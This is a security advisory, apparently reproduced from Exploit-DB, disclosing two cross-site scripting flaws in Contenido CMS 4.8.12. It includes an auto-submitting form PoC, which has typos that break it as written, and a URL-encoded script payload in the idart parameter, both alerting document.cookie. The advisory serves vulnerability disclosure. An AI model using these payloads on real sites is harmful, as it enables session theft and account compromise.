Contenido CMS 4.8.12 XSS Vulnerabilities



EDB-ID: 15659 CVE: N/A OSVDB-ID: 69625
Author: High-Tech Bridge SA Published: 2010-12-02 Verified: Not Verified
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Vulnerability ID: HTB22635
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_contenido_cms.html
Product: Contenido CMS
Vendor: four for business AG ( http://www.contenido.org/ ) 
Vulnerable Version: 4.8.12 and Probably Prior Versions
Vendor Notification: 29 September 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the contact form to properly sanitize user-supplied input in many parameters. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
</form>
<script>
document.M.Submit();
<script>

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "front_content.php" script to properly sanitize user-supplied input in "idart" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


http://host/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Solution: Upgrade to the most recent version